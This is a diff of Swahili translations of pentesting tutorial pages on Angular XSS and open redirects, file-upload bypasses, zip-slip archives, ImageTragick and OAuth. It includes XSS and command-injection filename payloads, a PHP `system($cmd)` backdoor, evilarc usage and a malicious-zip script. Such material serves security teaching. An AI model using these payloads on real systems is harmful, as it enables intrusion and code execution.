* Njia ya `html()` inapata maudhui ya HTML ya kipengele cha kwanza katika seti ya vipengele vilivyolingana au kuweka maudhui ya HTML ya kila kipengele kilicholingana. Hata hivyo, kwa muundo, mjenzi wowote wa jQuery au njia inayokubali mfuatano wa HTML inaweza kutekeleza msimbo. Hii inaweza kutokea kwa sindano ya vitambulisho vya `<script>` au matumizi ya sifa za HTML zinazotekeleza msimbo kama inavyoonyeshwa katika mfano.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -404,13 +404,13 @@ $("p").html("<script>alert(1)</script>");
|
||||
<button>Click me</button>
|
||||
<p>some text here</p>
|
||||
```
|
||||
* Mbinu ya `jQuery.parseHTML()` inatumia mbinu za asili kubadilisha mfuatano kuwa seti ya nodi za DOM, ambazo zinaweza kuingizwa katika hati.
|
||||
* Njia ya `jQuery.parseHTML()` inatumia mbinu za asili kubadilisha mfuatano kuwa seti ya nodi za DOM, ambazo zinaweza kuingizwa katika hati.
|
||||
|
||||
```tsx
|
||||
jQuery.parseHTML(data [, context ] [, keepScripts ])
|
||||
```
|
||||
|
||||
Kama ilivyotajwa hapo awali, APIs nyingi za jQuery zinazokubali mfuatano wa HTML zitaendesha skripti ambazo zimejumuishwa katika HTML. Mbinu ya `jQuery.parseHTML()` haiendeshi skripti katika HTML iliyochambuliwa isipokuwa `keepScripts` iwe wazi `true`. Hata hivyo, bado inawezekana katika mazingira mengi kutekeleza skripti kwa njia isiyo ya moja kwa moja; kwa mfano, kupitia sifa ya `<img onerror>`.
|
||||
Kama ilivyotajwa hapo awali, APIs nyingi za jQuery zinazokubali mfuatano wa HTML zitaendesha skripti ambazo zimejumuishwa katika HTML. Njia ya `jQuery.parseHTML()` haiendeshi skripti katika HTML iliyochambuliwa isipokuwa `keepScripts` iwe wazi `true`. Hata hivyo, bado inawezekana katika mazingira mengi kutekeleza skripti kwa njia isiyo ya moja kwa moja; kwa mfano, kupitia sifa ya `<img onerror>`.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -468,7 +468,7 @@ window.location.href = "https://google.com/about"
|
||||
Mchakato wa kutumia udhaifu ni sawa kwa hali zifuatazo.
|
||||
* `window.location.assign()`(na `document.location.assign()`)
|
||||
|
||||
Mbinu hii inasababisha dirisha kupakia na kuonyesha hati kwenye URL iliyotolewa. Ikiwa tuna udhibiti juu ya mbinu hii, inaweza kuwa njia ya shambulio la uelekeo wazi.
|
||||
Njia hii inasababisha dirisha kupakia na kuonyesha hati kwenye URL iliyotolewa. Ikiwa tuna udhibiti juu ya njia hii, inaweza kuwa mahali pa shambulio la uelekeo wazi.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -481,9 +481,9 @@ window.location.assign("https://google.com/about")
|
||||
```
|
||||
* `window.location.replace()`(na `document.location.replace()`)
|
||||
|
||||
Mbinu hii inachukua rasilimali ya sasa na kuibadilisha na ile iliyoko kwenye URL iliyotolewa.
|
||||
Njia hii inachukua rasilimali ya sasa na kuibadilisha na ile iliyoko kwenye URL iliyotolewa.
|
||||
|
||||
Hii inatofautiana na mbinu ya `assign()` kwa kuwa baada ya kutumia `window.location.replace()`, ukurasa wa sasa hautahifadhiwa katika Historia ya kikao. Hata hivyo, pia inawezekana kutumia udhaifu wa uelekeo wazi tunapokuwa na udhibiti juu ya mbinu hii.
|
||||
Hii inatofautiana na njia ya `assign()` kwa kuwa baada ya kutumia `window.location.replace()`, ukurasa wa sasa hautahifadhiwa katika Historia ya kikao. Hata hivyo, pia inawezekana kutumia udhaifu wa uelekeo wazi tunapokuwa na udhibiti juu ya njia hii.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -496,7 +496,7 @@ window.location.replace("http://google.com/about")
|
||||
```
|
||||
* `window.open()`
|
||||
|
||||
Mbinu ya `window.open()` inachukua URL na kupakia rasilimali inayotambulika katika tab au dirisha jipya au lililopo. Kuwa na udhibiti juu ya mbinu hii pia kunaweza kuwa fursa ya kuanzisha udhaifu wa XSS au uelekeo wazi.
|
||||
Njia ya `window.open()` inachukua URL na kupakia rasilimali inayotambulika katika tab au dirisha jipya au lililopo. Kuwa na udhibiti juu ya njia hii pia kunaweza kuwa fursa ya kuanzisha udhaifu wa XSS au uelekeo wazi.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
|
||||
|
||||
#### Madarasa ya Angular
|
||||
|
||||
* Kulingana na nyaraka za Angular, Angular `Document` ni sawa na hati ya DOM, ambayo inamaanisha inawezekana kutumia njia za kawaida za hati ya DOM kutumia udhaifu wa upande wa mteja katika Angular. Mali na mbinu za `Document.location` zinaweza kuwa njia za shambulio za mafanikio ya uelekeo wazi kama inavyoonyeshwa katika mfano:
|
||||
* Kulingana na nyaraka za Angular, Angular `Document` ni sawa na hati ya DOM, ambayo inamaanisha inawezekana kutumia njia za kawaida za hati ya DOM ili kutumia udhaifu wa upande wa mteja katika Angular. Mali na mbinu za `Document.location` zinaweza kuwa mahali pa mashambulizi ya uelekeo wazi kama inavyoonyeshwa katika mfano:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -592,7 +592,7 @@ this.router.navigateByUrl('URL')
|
||||
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
|
||||
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
|
||||
* [Angular Universal](https://angular.io/guide/universal)
|
||||
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
|
||||
* [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
|
||||
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
|
||||
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
|
||||
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
|
||||
|
@ -5,7 +5,7 @@
|
||||
Angalia ukurasa huu ikiwa unataka kujifunza zaidi kuhusu kuhesabu na kutumia Buckets:
|
||||
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,14 +2,14 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Firebase
|
||||
## Nini maana ya Firebase
|
||||
|
||||
Firebase ni Backend-as-a-Services hasa kwa ajili ya programu za simu. Inalenga kuondoa mzigo wa programu ya nyuma kwa kutoa SDK nzuri pamoja na mambo mengine mengi ya kuvutia yanayorahisisha mwingiliano kati ya programu na nyuma.
|
||||
Firebase ni Backend-as-a-Services hasa kwa ajili ya programu za simu. Inalenga kuondoa mzigo wa programu ya back-end kwa kutoa SDK nzuri pamoja na mambo mengine mengi ya kuvutia yanayorahisisha mwingiliano kati ya programu na back-end.
|
||||
|
||||
Learn more about Firebase in:
|
||||
Jifunze zaidi kuhusu Firebase katika:
|
||||
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -51,7 +51,7 @@ Other useful extensions:
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -89,7 +89,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
### Special extension tricks
|
||||
|
||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
|
||||
@ -132,8 +132,8 @@ Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili ya usanidi wa uWSGI. K
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Katika baadhi ya matukio unaweza kupata kwamba seva inatumia **`wget`** ili **kupakua faili** na unaweza **kuashiria** **URL**. Katika matukio haya, msimbo unaweza kuwa unakagua kwamba kiambatisho cha faili zilizopakuliwa kiko ndani ya orodha ya ruhusa ili kuhakikisha kwamba faili tu zilizoruhusiwa zitapakuliwa. Hata hivyo, **ukaguzi huu unaweza kupuuziliwa mbali.**\
|
||||
Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** wahusika. Unaweza **kupakua faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**.
|
||||
Katika baadhi ya matukio unaweza kupata kwamba seva inatumia **`wget`** ili **kushusha faili** na unaweza **kuashiria** **URL**. Katika matukio haya, msimbo unaweza kuwa unakagua kwamba kiambatisho cha faili zilizoshushwa kiko ndani ya orodha ya ruhusa ili kuhakikisha kwamba faili tu zilizoruhusiwa zitashushwa. Hata hivyo, **ukaguzi huu unaweza kupuuziliwa mbali.**\
|
||||
Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** wahusika. Unaweza **kushusha faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,31 +156,31 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Kumbuka kwamba **chaguo lingine** ambalo unaweza kufikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**.
|
||||
Kumbuka kwamba **chaguo lingine** unaloweza kufikiria ili kupita kipimo hiki ni kufanya **seva ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita kipimo hicho na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**.
|
||||
|
||||
## Zana
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mifumo ya kupakia faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Bug Hunters katika kupima mifumo ya kupakia faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti.
|
||||
|
||||
## Kutoka kwa Upakiaji wa Faili hadi Udhaifu Mwingine
|
||||
|
||||
- Weka **jina la faili** kuwa `../../../tmp/lol.png` na jaribu kufikia **path traversal**
|
||||
- Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kufanikiwa kufikia **SQL injection**
|
||||
- Weka **jina la faili** kuwa `<svg onload=alert(document.domain)>` ili kufikia XSS
|
||||
- Weka **jina la faili** kuwa `; sleep 10;` ili kujaribu baadhi ya kuingilia amri (zaidi ya [mbinu za kuingilia amri hapa](../command-injection.md))
|
||||
- [**XSS** katika picha (svg) ya kupakia faili](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** faili **kupakia** + **XSS** = [**Kunyakua Wafanyakazi wa Huduma**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** kupitia kupakia faili la svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Weka **jina la faili** kuwa `; sleep 10;` ili kupima baadhi ya kuingilia amri (zaidi ya [mbinu za kuingilia amri hapa](../command-injection.md))
|
||||
- [**XSS** katika picha (svg) ya upakiaji](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** faili **upakiaji** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE katika upakiaji wa svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** kupitia upakiaji wa faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
- [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/index.html). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembeleaji**.
|
||||
- [**XXE na CORS** kupita na PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/index.html). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
|
||||
- [**XXE na CORS** bypass na upakiaji wa PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo na mipaka kufuata maelekezo yaliyotolewa.
|
||||
- Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa seva ina **antivirus**
|
||||
- Angalia ikiwa kuna **kikomo cha saizi** katika kupakia faili
|
||||
- Pakia \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) maudhui ili kuangalia ikiwa seva ina **antivirus**
|
||||
- Angalia ikiwa kuna **kikomo cha saizi** katika upakiaji wa faili
|
||||
|
||||
Hapa kuna orodha ya mambo 10 ambayo unaweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Hapa kuna orodha ya juu 10 ya mambo ambayo unaweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -212,7 +212,7 @@ Ikiwa unaweza kupakia ZIP ambayo itakuaondolewa ndani ya seva, unaweza kufanya m
|
||||
|
||||
#### Symlink
|
||||
|
||||
Pakia kiungo kinachokuwa na viungo vya laini kwa faili nyingine, kisha, kwa kufikia faili zilizondolewa utapata faili zilizounganishwa:
|
||||
Pakia kiungo kinachokuwa na viungo laini kwa faili nyingine, kisha, kwa kufikia faili zilizondolewa utapata faili zilizounganishwa:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decompress in different folders
|
||||
|
||||
Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji wa programu inayolengwa.
|
||||
Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita saraka wa muundo wa ZIP unaweza kutumika. Hii inaruhusu washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
|
||||
|
||||
Kiboko cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Chombo hiki kinaweza kutumika kama inavyoonyeshwa:
|
||||
```python
|
||||
@ -229,9 +229,9 @@ python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Zaidi ya hayo, **njia ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake.
|
||||
Zaidi ya hayo, **mbinu ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake.
|
||||
|
||||
Hapa chini kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:
|
||||
Hapa kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip lenye uharibifu:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -249,7 +249,7 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Kutatiza matumizi ya usindikaji wa faili kwa ajili ya kueneza faili**
|
||||
**Kukandamiza compression kwa ajili ya file spraying**
|
||||
|
||||
Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
@ -263,14 +263,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **Kueneza Faili na Kuunda Faili Zilizoshinikizwa**: Faili nyingi zinaandaliwa na archive ya zip inakusanywa ikijumuisha faili hizi.
|
||||
2. **File Spraying na Uundaji wa Faili Zilizoshinikizwa**: Faili nyingi zinaundwa na archive ya zip inakusanywa ikijumuisha faili hizi.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Mabadiliko kwa kutumia Hex Editor au vi**: Majina ya faili ndani ya zip yanabadilishwa kwa kutumia vi au mhariri wa hex, kubadilisha "xxA" kuwa "../" ili kupita kwenye saraka.
|
||||
3. **Mabadiliko kwa kutumia Hex Editor au vi**: Majina ya faili ndani ya zip yanabadilishwa kwa kutumia vi au mhariri wa hex, kubadilisha "xxA" kuwa "../" ili kupita kwenye directories.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -280,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Pakia maudhui haya yenye kiendelezi cha picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (fanya kutoka kwenye [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Pakia maudhui haya yenye kiambatisho cha picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (fanya kutoka kwenye [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
@ -291,7 +291,7 @@ pop graphic-context
|
||||
|
||||
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha ukubwa na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
|
||||
|
||||
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yanayoweza, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
|
||||
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yake yanayoweza, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
|
||||
|
||||
Taarifa zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
@ -299,9 +299,9 @@ Taarifa zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
|
||||
|
||||
Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza.
|
||||
|
||||
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina mbalimbali za faili, inaweza kupita kwa siri vizuizi hivi.
|
||||
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina nyingi za faili, inaweza kupita kwa siri vizuizi hivi.
|
||||
|
||||
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo ni mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot peke yake huenda usitoshe kuhakikisha kupakia kwake.
|
||||
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo unakuwa mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot peke yake huenda usitoshe kuhakikisha kupakia kwake.
|
||||
|
||||
Taarifa zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -4,24 +4,24 @@
|
||||
|
||||
## Basic Information <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth inatoa toleo mbalimbali, huku maarifa ya msingi yanapatikana katika [OAuth 2.0 documentation](https://oauth.net/2/). Majadiliano haya yanazingatia hasa [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), ikitoa **mfumo wa ruhusa unaowezesha programu kufikia au kufanya vitendo kwenye akaunti ya mtumiaji katika programu nyingine** (seva ya ruhusa).
|
||||
OAuth inatoa matoleo mbalimbali, huku maarifa ya msingi yanapatikana katika [OAuth 2.0 documentation](https://oauth.net/2/). Majadiliano haya yanazingatia hasa [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), ikitoa **mfumo wa idhini unaowezesha programu kufikia au kufanya vitendo kwenye akaunti ya mtumiaji katika programu nyingine** (seva ya idhini).
|
||||
|
||||
